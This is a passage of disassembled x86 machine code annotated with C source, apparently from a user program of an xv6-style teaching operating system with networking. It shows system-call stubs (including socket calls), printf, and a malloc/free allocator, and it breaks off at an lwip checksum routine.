5ff: 83 45 f8 01 addl $0x1,0xfffffff8(%ebp)
603: 83 45 fc 01 addl $0x1,0xfffffffc(%ebp)
607: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
60b: 0f 9f c0 setg %al
60e: 83 6d 10 01 subl $0x1,0x10(%ebp)
612: 84 c0 test %al,%al
614: 75 de jne 5f4 <memmove+0x14>
return vdst;
616: 8b 45 08 mov 0x8(%ebp),%eax
}
619: c9 leave
61a: c3 ret
61b: 90 nop
0000061c <fork>:
61c: b8 01 00 00 00 mov $0x1,%eax
621: cd 30 int $0x30
623: c3 ret
00000624 <exit>:
624: b8 02 00 00 00 mov $0x2,%eax
629: cd 30 int $0x30
62b: c3 ret
0000062c <wait>:
62c: b8 03 00 00 00 mov $0x3,%eax
631: cd 30 int $0x30
633: c3 ret
00000634 <pipe>:
634: b8 04 00 00 00 mov $0x4,%eax
639: cd 30 int $0x30
63b: c3 ret
0000063c <read>:
63c: b8 06 00 00 00 mov $0x6,%eax
641: cd 30 int $0x30
643: c3 ret
00000644 <write>:
644: b8 05 00 00 00 mov $0x5,%eax
649: cd 30 int $0x30
64b: c3 ret
0000064c <close>:
64c: b8 07 00 00 00 mov $0x7,%eax
651: cd 30 int $0x30
653: c3 ret
00000654 <kill>:
654: b8 08 00 00 00 mov $0x8,%eax
659: cd 30 int $0x30
65b: c3 ret
0000065c <exec>:
65c: b8 09 00 00 00 mov $0x9,%eax
661: cd 30 int $0x30
663: c3 ret
00000664 <open>:
664: b8 0a 00 00 00 mov $0xa,%eax
669: cd 30 int $0x30
66b: c3 ret
0000066c <mknod>:
66c: b8 0b 00 00 00 mov $0xb,%eax
671: cd 30 int $0x30
673: c3 ret
00000674 <unlink>:
674: b8 0c 00 00 00 mov $0xc,%eax
679: cd 30 int $0x30
67b: c3 ret
0000067c <fstat>:
67c: b8 0d 00 00 00 mov $0xd,%eax
681: cd 30 int $0x30
683: c3 ret
00000684 <link>:
684: b8 0e 00 00 00 mov $0xe,%eax
689: cd 30 int $0x30
68b: c3 ret
0000068c <mkdir>:
68c: b8 0f 00 00 00 mov $0xf,%eax
691: cd 30 int $0x30
693: c3 ret
00000694 <chdir>:
694: b8 10 00 00 00 mov $0x10,%eax
699: cd 30 int $0x30
69b: c3 ret
0000069c <dup>:
69c: b8 11 00 00 00 mov $0x11,%eax
6a1: cd 30 int $0x30
6a3: c3 ret
000006a4 <getpid>:
6a4: b8 12 00 00 00 mov $0x12,%eax
6a9: cd 30 int $0x30
6ab: c3 ret
000006ac <sbrk>:
6ac: b8 13 00 00 00 mov $0x13,%eax
6b1: cd 30 int $0x30
6b3: c3 ret
000006b4 <sleep>:
6b4: b8 14 00 00 00 mov $0x14,%eax
6b9: cd 30 int $0x30
6bb: c3 ret
000006bc <upmsec>:
6bc: b8 15 00 00 00 mov $0x15,%eax
6c1: cd 30 int $0x30
6c3: c3 ret
000006c4 <socket>:
6c4: b8 16 00 00 00 mov $0x16,%eax
6c9: cd 30 int $0x30
6cb: c3 ret
000006cc <bind>:
6cc: b8 17 00 00 00 mov $0x17,%eax
6d1: cd 30 int $0x30
6d3: c3 ret
000006d4 <listen>:
6d4: b8 18 00 00 00 mov $0x18,%eax
6d9: cd 30 int $0x30
6db: c3 ret
000006dc <accept>:
6dc: b8 19 00 00 00 mov $0x19,%eax
6e1: cd 30 int $0x30
6e3: c3 ret
000006e4 <recv>:
6e4: b8 1a 00 00 00 mov $0x1a,%eax
6e9: cd 30 int $0x30
6eb: c3 ret
000006ec <recvfrom>:
6ec: b8 1b 00 00 00 mov $0x1b,%eax
6f1: cd 30 int $0x30
6f3: c3 ret
000006f4 <send>:
6f4: b8 1c 00 00 00 mov $0x1c,%eax
6f9: cd 30 int $0x30
6fb: c3 ret
000006fc <sendto>:
6fc: b8 1d 00 00 00 mov $0x1d,%eax
701: cd 30 int $0x30
703: c3 ret
00000704 <shutdown>:
704: b8 1e 00 00 00 mov $0x1e,%eax
709: cd 30 int $0x30
70b: c3 ret
0000070c <getsockopt>:
70c: b8 1f 00 00 00 mov $0x1f,%eax
711: cd 30 int $0x30
713: c3 ret
00000714 <setsockopt>:
714: b8 20 00 00 00 mov $0x20,%eax
719: cd 30 int $0x30
71b: c3 ret
0000071c <sockclose>:
71c: b8 21 00 00 00 mov $0x21,%eax
721: cd 30 int $0x30
723: c3 ret
00000724 <connect>:
724: b8 22 00 00 00 mov $0x22,%eax
729: cd 30 int $0x30
72b: c3 ret
0000072c <getpeername>:
72c: b8 23 00 00 00 mov $0x23,%eax
731: cd 30 int $0x30
733: c3 ret
00000734 <getsockname>:
734: b8 24 00 00 00 mov $0x24,%eax
739: cd 30 int $0x30
73b: c3 ret
73c: 90 nop
73d: 90 nop
73e: 90 nop
73f: 90 nop
00000740 <putc>:
#include "user.h"
void
putc(int fd, char c)
{
740: 55 push %ebp
741: 89 e5 mov %esp,%ebp
743: 83 ec 18 sub $0x18,%esp
746: 8b 45 0c mov 0xc(%ebp),%eax
749: 88 45 fc mov %al,0xfffffffc(%ebp)
write(fd, &c, 1);
74c: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
753: 00
754: 8d 45 fc lea 0xfffffffc(%ebp),%eax
757: 89 44 24 04 mov %eax,0x4(%esp)
75b: 8b 45 08 mov 0x8(%ebp),%eax
75e: 89 04 24 mov %eax,(%esp)
761: e8 de fe ff ff call 644 <write>
}
766: c9 leave
767: c3 ret
768: 90 nop
769: 8d b4 26 00 00 00 00 lea 0x0(%esi),%esi
00000770 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
770: 55 push %ebp
771: 89 e5 mov %esp,%ebp
773: 53 push %ebx
774: 83 ec 34 sub $0x34,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
777: c7 45 f4 00 00 00 00 movl $0x0,0xfffffff4(%ebp)
if(sgn && xx < 0){
77e: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
782: 74 17 je 79b <printint+0x2b>
784: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
788: 79 11 jns 79b <printint+0x2b>
neg = 1;
78a: c7 45 f4 01 00 00 00 movl $0x1,0xfffffff4(%ebp)
x = -xx;
791: 8b 45 0c mov 0xc(%ebp),%eax
794: f7 d8 neg %eax
796: 89 45 f8 mov %eax,0xfffffff8(%ebp)
799: eb 06 jmp 7a1 <printint+0x31>
} else {
x = xx;
79b: 8b 45 0c mov 0xc(%ebp),%eax
79e: 89 45 f8 mov %eax,0xfffffff8(%ebp)
}
i = 0;
7a1: c7 45 f0 00 00 00 00 movl $0x0,0xfffffff0(%ebp)
do{
buf[i++] = digits[x % base];
7a8: 8b 4d f0 mov 0xfffffff0(%ebp),%ecx
7ab: 8b 55 10 mov 0x10(%ebp),%edx
7ae: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
7b1: 89 d3 mov %edx,%ebx
7b3: ba 00 00 00 00 mov $0x0,%edx
7b8: f7 f3 div %ebx
7ba: 89 d0 mov %edx,%eax
7bc: 0f b6 80 1c 14 00 00 movzbl 0x141c(%eax),%eax
7c3: 88 44 0d e0 mov %al,0xffffffe0(%ebp,%ecx,1)
7c7: 83 45 f0 01 addl $0x1,0xfffffff0(%ebp)
}while((x /= base) != 0);
7cb: 8b 55 10 mov 0x10(%ebp),%edx
7ce: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
7d1: 89 d1 mov %edx,%ecx
7d3: ba 00 00 00 00 mov $0x0,%edx
7d8: f7 f1 div %ecx
7da: 89 45 f8 mov %eax,0xfffffff8(%ebp)
7dd: 83 7d f8 00 cmpl $0x0,0xfffffff8(%ebp)
7e1: 75 c5 jne 7a8 <printint+0x38>
if(neg)
7e3: 83 7d f4 00 cmpl $0x0,0xfffffff4(%ebp)
7e7: 74 28 je 811 <printint+0xa1>
buf[i++] = '-';
7e9: 8b 45 f0 mov 0xfffffff0(%ebp),%eax
7ec: c6 44 05 e0 2d movb $0x2d,0xffffffe0(%ebp,%eax,1)
7f1: 83 45 f0 01 addl $0x1,0xfffffff0(%ebp)
while(--i >= 0)
7f5: eb 1a jmp 811 <printint+0xa1>
putc(fd, buf[i]);
7f7: 8b 45 f0 mov 0xfffffff0(%ebp),%eax
7fa: 0f b6 44 05 e0 movzbl 0xffffffe0(%ebp,%eax,1),%eax
7ff: 0f be c0 movsbl %al,%eax
802: 89 44 24 04 mov %eax,0x4(%esp)
806: 8b 45 08 mov 0x8(%ebp),%eax
809: 89 04 24 mov %eax,(%esp)
80c: e8 2f ff ff ff call 740 <putc>
811: 83 6d f0 01 subl $0x1,0xfffffff0(%ebp)
815: 83 7d f0 00 cmpl $0x0,0xfffffff0(%ebp)
819: 79 dc jns 7f7 <printint+0x87>
}
81b: 83 c4 34 add $0x34,%esp
81e: 5b pop %ebx
81f: 5d pop %ebp
820: c3 ret
821: eb 0d jmp 830 <printf>
823: 90 nop
824: 90 nop
825: 90 nop
826: 90 nop
827: 90 nop
828: 90 nop
829: 90 nop
82a: 90 nop
82b: 90 nop
82c: 90 nop
82d: 90 nop
82e: 90 nop
82f: 90 nop
00000830 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
830: 55 push %ebp
831: 89 e5 mov %esp,%ebp
833: 83 ec 38 sub $0x38,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
836: c7 45 f8 00 00 00 00 movl $0x0,0xfffffff8(%ebp)
ap = (uint*)(void*)&fmt + 1;
83d: 8d 45 0c lea 0xc(%ebp),%eax
840: 83 c0 04 add $0x4,%eax
843: 89 45 fc mov %eax,0xfffffffc(%ebp)
for(i = 0; fmt[i]; i++){
846: c7 45 f4 00 00 00 00 movl $0x0,0xfffffff4(%ebp)
84d: e9 7b 01 00 00 jmp 9cd <printf+0x19d>
c = fmt[i] & 0xff;
852: 8b 55 0c mov 0xc(%ebp),%edx
855: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
858: 8d 04 02 lea (%edx,%eax,1),%eax
85b: 0f b6 00 movzbl (%eax),%eax
85e: 0f be c0 movsbl %al,%eax
861: 25 ff 00 00 00 and $0xff,%eax
866: 89 45 f0 mov %eax,0xfffffff0(%ebp)
if(state == 0){
869: 83 7d f8 00 cmpl $0x0,0xfffffff8(%ebp)
86d: 75 2c jne 89b <printf+0x6b>
if(c == '%'){
86f: 83 7d f0 25 cmpl $0x25,0xfffffff0(%ebp)
873: 75 0c jne 881 <printf+0x51>
state = '%';
875: c7 45 f8 25 00 00 00 movl $0x25,0xfffffff8(%ebp)
87c: e9 48 01 00 00 jmp 9c9 <printf+0x199>
} else {
putc(fd, c);
881: 8b 45 f0 mov 0xfffffff0(%ebp),%eax
884: 0f be c0 movsbl %al,%eax
887: 89 44 24 04 mov %eax,0x4(%esp)
88b: 8b 45 08 mov 0x8(%ebp),%eax
88e: 89 04 24 mov %eax,(%esp)
891: e8 aa fe ff ff call 740 <putc>
896: e9 2e 01 00 00 jmp 9c9 <printf+0x199>
}
} else if(state == '%'){
89b: 83 7d f8 25 cmpl $0x25,0xfffffff8(%ebp)
89f: 0f 85 24 01 00 00 jne 9c9 <printf+0x199>
if(c == 'd'){
8a5: 83 7d f0 64 cmpl $0x64,0xfffffff0(%ebp)
8a9: 75 2d jne 8d8 <printf+0xa8>
printint(fd, *ap, 10, 1);
8ab: 8b 45 fc mov 0xfffffffc(%ebp),%eax
8ae: 8b 00 mov (%eax),%eax
8b0: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp)
8b7: 00
8b8: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
8bf: 00
8c0: 89 44 24 04 mov %eax,0x4(%esp)
8c4: 8b 45 08 mov 0x8(%ebp),%eax
8c7: 89 04 24 mov %eax,(%esp)
8ca: e8 a1 fe ff ff call 770 <printint>
ap++;
8cf: 83 45 fc 04 addl $0x4,0xfffffffc(%ebp)
8d3: e9 ea 00 00 00 jmp 9c2 <printf+0x192>
} else if(c == 'x' || c == 'p'){
8d8: 83 7d f0 78 cmpl $0x78,0xfffffff0(%ebp)
8dc: 74 06 je 8e4 <printf+0xb4>
8de: 83 7d f0 70 cmpl $0x70,0xfffffff0(%ebp)
8e2: 75 2d jne 911 <printf+0xe1>
printint(fd, *ap, 16, 0);
8e4: 8b 45 fc mov 0xfffffffc(%ebp),%eax
8e7: 8b 00 mov (%eax),%eax
8e9: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
8f0: 00
8f1: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
8f8: 00
8f9: 89 44 24 04 mov %eax,0x4(%esp)
8fd: 8b 45 08 mov 0x8(%ebp),%eax
900: 89 04 24 mov %eax,(%esp)
903: e8 68 fe ff ff call 770 <printint>
ap++;
908: 83 45 fc 04 addl $0x4,0xfffffffc(%ebp)
90c: e9 b1 00 00 00 jmp 9c2 <printf+0x192>
} else if(c == 's'){
911: 83 7d f0 73 cmpl $0x73,0xfffffff0(%ebp)
915: 75 43 jne 95a <printf+0x12a>
s = (char*)*ap;
917: 8b 45 fc mov 0xfffffffc(%ebp),%eax
91a: 8b 00 mov (%eax),%eax
91c: 89 45 ec mov %eax,0xffffffec(%ebp)
ap++;
91f: 83 45 fc 04 addl $0x4,0xfffffffc(%ebp)
if(s == 0)
923: 83 7d ec 00 cmpl $0x0,0xffffffec(%ebp)
927: 75 25 jne 94e <printf+0x11e>
s = "(null)";
929: c7 45 ec fe 13 00 00 movl $0x13fe,0xffffffec(%ebp)
while(*s != 0){
930: eb 1c jmp 94e <printf+0x11e>
putc(fd, *s);
932: 8b 45 ec mov 0xffffffec(%ebp),%eax
935: 0f b6 00 movzbl (%eax),%eax
938: 0f be c0 movsbl %al,%eax
93b: 89 44 24 04 mov %eax,0x4(%esp)
93f: 8b 45 08 mov 0x8(%ebp),%eax
942: 89 04 24 mov %eax,(%esp)
945: e8 f6 fd ff ff call 740 <putc>
s++;
94a: 83 45 ec 01 addl $0x1,0xffffffec(%ebp)
94e: 8b 45 ec mov 0xffffffec(%ebp),%eax
951: 0f b6 00 movzbl (%eax),%eax
954: 84 c0 test %al,%al
956: 75 da jne 932 <printf+0x102>
958: eb 68 jmp 9c2 <printf+0x192>
}
} else if(c == 'c'){
95a: 83 7d f0 63 cmpl $0x63,0xfffffff0(%ebp)
95e: 75 1d jne 97d <printf+0x14d>
putc(fd, *ap);
960: 8b 45 fc mov 0xfffffffc(%ebp),%eax
963: 8b 00 mov (%eax),%eax
965: 0f be c0 movsbl %al,%eax
968: 89 44 24 04 mov %eax,0x4(%esp)
96c: 8b 45 08 mov 0x8(%ebp),%eax
96f: 89 04 24 mov %eax,(%esp)
972: e8 c9 fd ff ff call 740 <putc>
ap++;
977: 83 45 fc 04 addl $0x4,0xfffffffc(%ebp)
97b: eb 45 jmp 9c2 <printf+0x192>
} else if(c == '%'){
97d: 83 7d f0 25 cmpl $0x25,0xfffffff0(%ebp)
981: 75 17 jne 99a <printf+0x16a>
putc(fd, c);
983: 8b 45 f0 mov 0xfffffff0(%ebp),%eax
986: 0f be c0 movsbl %al,%eax
989: 89 44 24 04 mov %eax,0x4(%esp)
98d: 8b 45 08 mov 0x8(%ebp),%eax
990: 89 04 24 mov %eax,(%esp)
993: e8 a8 fd ff ff call 740 <putc>
998: eb 28 jmp 9c2 <printf+0x192>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
99a: c7 44 24 04 25 00 00 movl $0x25,0x4(%esp)
9a1: 00
9a2: 8b 45 08 mov 0x8(%ebp),%eax
9a5: 89 04 24 mov %eax,(%esp)
9a8: e8 93 fd ff ff call 740 <putc>
putc(fd, c);
9ad: 8b 45 f0 mov 0xfffffff0(%ebp),%eax
9b0: 0f be c0 movsbl %al,%eax
9b3: 89 44 24 04 mov %eax,0x4(%esp)
9b7: 8b 45 08 mov 0x8(%ebp),%eax
9ba: 89 04 24 mov %eax,(%esp)
9bd: e8 7e fd ff ff call 740 <putc>
}
state = 0;
9c2: c7 45 f8 00 00 00 00 movl $0x0,0xfffffff8(%ebp)
9c9: 83 45 f4 01 addl $0x1,0xfffffff4(%ebp)
9cd: 8b 55 0c mov 0xc(%ebp),%edx
9d0: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
9d3: 8d 04 02 lea (%edx,%eax,1),%eax
9d6: 0f b6 00 movzbl (%eax),%eax
9d9: 84 c0 test %al,%al
9db: 0f 85 71 fe ff ff jne 852 <printf+0x22>
}
}
}
9e1: c9 leave
9e2: c3 ret
9e3: 90 nop
9e4: 90 nop
9e5: 90 nop
9e6: 90 nop
9e7: 90 nop
9e8: 90 nop
9e9: 90 nop
9ea: 90 nop
9eb: 90 nop
9ec: 90 nop
9ed: 90 nop
9ee: 90 nop
9ef: 90 nop
000009f0 <free>:
static Header *freep;
void
free(void *ap)
{
9f0: 55 push %ebp
9f1: 89 e5 mov %esp,%ebp
9f3: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*) ap - 1;
9f6: 8b 45 08 mov 0x8(%ebp),%eax
9f9: 83 e8 08 sub $0x8,%eax
9fc: 89 45 f8 mov %eax,0xfffffff8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
9ff: a1 48 14 00 00 mov 0x1448,%eax
a04: 89 45 fc mov %eax,0xfffffffc(%ebp)
a07: eb 24 jmp a2d <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
a09: 8b 45 fc mov 0xfffffffc(%ebp),%eax
a0c: 8b 00 mov (%eax),%eax
a0e: 3b 45 fc cmp 0xfffffffc(%ebp),%eax
a11: 77 12 ja a25 <free+0x35>
a13: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
a16: 3b 45 fc cmp 0xfffffffc(%ebp),%eax
a19: 77 24 ja a3f <free+0x4f>
a1b: 8b 45 fc mov 0xfffffffc(%ebp),%eax
a1e: 8b 00 mov (%eax),%eax
a20: 3b 45 f8 cmp 0xfffffff8(%ebp),%eax
a23: 77 1a ja a3f <free+0x4f>
a25: 8b 45 fc mov 0xfffffffc(%ebp),%eax
a28: 8b 00 mov (%eax),%eax
a2a: 89 45 fc mov %eax,0xfffffffc(%ebp)
a2d: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
a30: 3b 45 fc cmp 0xfffffffc(%ebp),%eax
a33: 76 d4 jbe a09 <free+0x19>
a35: 8b 45 fc mov 0xfffffffc(%ebp),%eax
a38: 8b 00 mov (%eax),%eax
a3a: 3b 45 f8 cmp 0xfffffff8(%ebp),%eax
a3d: 76 ca jbe a09 <free+0x19>
break;
if(bp + bp->s.size == p->s.ptr){
a3f: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
a42: 8b 40 04 mov 0x4(%eax),%eax
a45: c1 e0 03 shl $0x3,%eax
a48: 89 c2 mov %eax,%edx
a4a: 03 55 f8 add 0xfffffff8(%ebp),%edx
a4d: 8b 45 fc mov 0xfffffffc(%ebp),%eax
a50: 8b 00 mov (%eax),%eax
a52: 39 c2 cmp %eax,%edx
a54: 75 24 jne a7a <free+0x8a>
bp->s.size += p->s.ptr->s.size;
a56: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
a59: 8b 50 04 mov 0x4(%eax),%edx
a5c: 8b 45 fc mov 0xfffffffc(%ebp),%eax
a5f: 8b 00 mov (%eax),%eax
a61: 8b 40 04 mov 0x4(%eax),%eax
a64: 01 c2 add %eax,%edx
a66: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
a69: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
a6c: 8b 45 fc mov 0xfffffffc(%ebp),%eax
a6f: 8b 00 mov (%eax),%eax
a71: 8b 10 mov (%eax),%edx
a73: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
a76: 89 10 mov %edx,(%eax)
a78: eb 0a jmp a84 <free+0x94>
} else
bp->s.ptr = p->s.ptr;
a7a: 8b 45 fc mov 0xfffffffc(%ebp),%eax
a7d: 8b 10 mov (%eax),%edx
a7f: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
a82: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
a84: 8b 45 fc mov 0xfffffffc(%ebp),%eax
a87: 8b 40 04 mov 0x4(%eax),%eax
a8a: c1 e0 03 shl $0x3,%eax
a8d: 03 45 fc add 0xfffffffc(%ebp),%eax
a90: 3b 45 f8 cmp 0xfffffff8(%ebp),%eax
a93: 75 20 jne ab5 <free+0xc5>
p->s.size += bp->s.size;
a95: 8b 45 fc mov 0xfffffffc(%ebp),%eax
a98: 8b 50 04 mov 0x4(%eax),%edx
a9b: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
a9e: 8b 40 04 mov 0x4(%eax),%eax
aa1: 01 c2 add %eax,%edx
aa3: 8b 45 fc mov 0xfffffffc(%ebp),%eax
aa6: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
aa9: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
aac: 8b 10 mov (%eax),%edx
aae: 8b 45 fc mov 0xfffffffc(%ebp),%eax
ab1: 89 10 mov %edx,(%eax)
ab3: eb 08 jmp abd <free+0xcd>
} else
p->s.ptr = bp;
ab5: 8b 55 fc mov 0xfffffffc(%ebp),%edx
ab8: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
abb: 89 02 mov %eax,(%edx)
freep = p;
abd: 8b 45 fc mov 0xfffffffc(%ebp),%eax
ac0: a3 48 14 00 00 mov %eax,0x1448
}
ac5: c9 leave
ac6: c3 ret
ac7: 89 f6 mov %esi,%esi
ac9: 8d bc 27 00 00 00 00 lea 0x0(%edi),%edi
00000ad0 <morecore>:
static Header*
morecore(uint nu)
{
ad0: 55 push %ebp
ad1: 89 e5 mov %esp,%ebp
ad3: 83 ec 18 sub $0x18,%esp
char *p;
Header *hp;
int size;
#ifdef UMALLOC_DEBUG
printf(1, "morecore: %d\n", nu);
#endif
#ifdef UMALLOC_NOALIGN
if(nu < PAGE)
nu = PAGE;
#else
size = nu * sizeof(Header);
ad6: 8b 45 08 mov 0x8(%ebp),%eax
ad9: c1 e0 03 shl $0x3,%eax
adc: 89 45 fc mov %eax,0xfffffffc(%ebp)
size += PAGE - size % PAGE;
adf: 8b 55 fc mov 0xfffffffc(%ebp),%edx
ae2: 89 d0 mov %edx,%eax
ae4: c1 f8 1f sar $0x1f,%eax
ae7: 89 c1 mov %eax,%ecx
ae9: c1 e9 14 shr $0x14,%ecx
aec: 8d 04 0a lea (%edx,%ecx,1),%eax
aef: 25 ff 0f 00 00 and $0xfff,%eax
af4: 29 c8 sub %ecx,%eax
af6: 89 c2 mov %eax,%edx
af8: b8 00 10 00 00 mov $0x1000,%eax
afd: 29 d0 sub %edx,%eax
aff: 01 45 fc add %eax,0xfffffffc(%ebp)
#endif
#ifdef UMALLOC_DEBUG
printf(1, "size: %d\n", size);
#endif
p = sbrk(size);
b02: 8b 45 fc mov 0xfffffffc(%ebp),%eax
b05: 89 04 24 mov %eax,(%esp)
b08: e8 9f fb ff ff call 6ac <sbrk>
b0d: 89 45 f4 mov %eax,0xfffffff4(%ebp)
if(p == (char*) -1)
b10: 83 7d f4 ff cmpl $0xffffffff,0xfffffff4(%ebp)
b14: 75 09 jne b1f <morecore+0x4f>
return 0;
b16: c7 45 ec 00 00 00 00 movl $0x0,0xffffffec(%ebp)
b1d: eb 2a jmp b49 <morecore+0x79>
hp = (Header*)p;
b1f: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
b22: 89 45 f8 mov %eax,0xfffffff8(%ebp)
#ifdef UMALLOC_NOALIGN
hp->s.size = nu;
#else
hp->s.size = size / sizeof(Header);
b25: 8b 45 fc mov 0xfffffffc(%ebp),%eax
b28: 89 c2 mov %eax,%edx
b2a: c1 ea 03 shr $0x3,%edx
b2d: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
b30: 89 50 04 mov %edx,0x4(%eax)
#endif
free((void*)(hp + 1));
b33: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
b36: 83 c0 08 add $0x8,%eax
b39: 89 04 24 mov %eax,(%esp)
b3c: e8 af fe ff ff call 9f0 <free>
return freep;
b41: a1 48 14 00 00 mov 0x1448,%eax
b46: 89 45 ec mov %eax,0xffffffec(%ebp)
b49: 8b 45 ec mov 0xffffffec(%ebp),%eax
}
b4c: c9 leave
b4d: c3 ret
b4e: 89 f6 mov %esi,%esi
00000b50 <malloc>:
void*
malloc(uint nbytes)
{
b50: 55 push %ebp
b51: 89 e5 mov %esp,%ebp
b53: 83 ec 18 sub $0x18,%esp
Header *p, *prevp;
uint nunits;
#ifdef UMALLOC_DEBUG
printf(1, "malloc: %d bytes\n", nbytes);
printf(1, "size of Header: %d\n", sizeof(Header));
#endif
if (PAGE % sizeof(Header))
printf(2, "Warning! align failed! Need UMALLOC_NOALIGN\n");
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
b56: 8b 45 08 mov 0x8(%ebp),%eax
b59: 83 c0 07 add $0x7,%eax
b5c: c1 e8 03 shr $0x3,%eax
b5f: 83 c0 01 add $0x1,%eax
b62: 89 45 fc mov %eax,0xfffffffc(%ebp)
if((prevp = freep) == 0){
b65: a1 48 14 00 00 mov 0x1448,%eax
b6a: 89 45 f8 mov %eax,0xfffffff8(%ebp)
b6d: 83 7d f8 00 cmpl $0x0,0xfffffff8(%ebp)
b71: 75 23 jne b96 <malloc+0x46>
base.s.ptr = freep = prevp = &base;
b73: c7 45 f8 40 14 00 00 movl $0x1440,0xfffffff8(%ebp)
b7a: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
b7d: a3 48 14 00 00 mov %eax,0x1448
b82: a1 48 14 00 00 mov 0x1448,%eax
b87: a3 40 14 00 00 mov %eax,0x1440
base.s.size = 0;
b8c: c7 05 44 14 00 00 00 movl $0x0,0x1444
b93: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
b96: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
b99: 8b 00 mov (%eax),%eax
b9b: 89 45 f4 mov %eax,0xfffffff4(%ebp)
if(p->s.size >= nunits){
b9e: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
ba1: 8b 40 04 mov 0x4(%eax),%eax
ba4: 3b 45 fc cmp 0xfffffffc(%ebp),%eax
ba7: 72 50 jb bf9 <malloc+0xa9>
if(p->s.size == nunits)
ba9: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
bac: 8b 40 04 mov 0x4(%eax),%eax
baf: 3b 45 fc cmp 0xfffffffc(%ebp),%eax
bb2: 75 0c jne bc0 <malloc+0x70>
prevp->s.ptr = p->s.ptr;
bb4: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
bb7: 8b 10 mov (%eax),%edx
bb9: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
bbc: 89 10 mov %edx,(%eax)
bbe: eb 26 jmp be6 <malloc+0x96>
else {
p->s.size -= nunits;
bc0: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
bc3: 8b 40 04 mov 0x4(%eax),%eax
bc6: 89 c2 mov %eax,%edx
bc8: 2b 55 fc sub 0xfffffffc(%ebp),%edx
bcb: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
bce: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
bd1: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
bd4: 8b 40 04 mov 0x4(%eax),%eax
bd7: c1 e0 03 shl $0x3,%eax
bda: 01 45 f4 add %eax,0xfffffff4(%ebp)
p->s.size = nunits;
bdd: 8b 55 f4 mov 0xfffffff4(%ebp),%edx
be0: 8b 45 fc mov 0xfffffffc(%ebp),%eax
be3: 89 42 04 mov %eax,0x4(%edx)
}
freep = prevp;
be6: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
be9: a3 48 14 00 00 mov %eax,0x1448
return (void*) (p + 1);
bee: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
bf1: 83 c0 08 add $0x8,%eax
bf4: 89 45 ec mov %eax,0xffffffec(%ebp)
bf7: eb 3a jmp c33 <malloc+0xe3>
}
if(p == freep)
bf9: a1 48 14 00 00 mov 0x1448,%eax
bfe: 39 45 f4 cmp %eax,0xfffffff4(%ebp)
c01: 75 1d jne c20 <malloc+0xd0>
if((p = morecore(nunits)) == 0)
c03: 8b 45 fc mov 0xfffffffc(%ebp),%eax
c06: 89 04 24 mov %eax,(%esp)
c09: e8 c2 fe ff ff call ad0 <morecore>
c0e: 89 45 f4 mov %eax,0xfffffff4(%ebp)
c11: 83 7d f4 00 cmpl $0x0,0xfffffff4(%ebp)
c15: 75 09 jne c20 <malloc+0xd0>
return 0;
c17: c7 45 ec 00 00 00 00 movl $0x0,0xffffffec(%ebp)
c1e: eb 13 jmp c33 <malloc+0xe3>
c20: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
c23: 89 45 f8 mov %eax,0xfffffff8(%ebp)
c26: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
c29: 8b 00 mov (%eax),%eax
c2b: 89 45 f4 mov %eax,0xfffffff4(%ebp)
}
c2e: e9 6b ff ff ff jmp b9e <malloc+0x4e>
c33: 8b 45 ec mov 0xffffffec(%ebp),%eax
}
c36: c9 leave
c37: c3 ret
c38: 90 nop
c39: 90 nop
c3a: 90 nop
c3b: 90 nop
c3c: 90 nop
c3d: 90 nop
c3e: 90 nop
c3f: 90 nop
00000c40 <lwip_chksum>:
static u16_t
lwip_chksum(void *dataptr, int len)
{
c40: 55 push %ebp
c41: 89 e5 mov %esp,%ebp
c43: 83 ec 18 sub $0x18,%esp
u32_t acc;
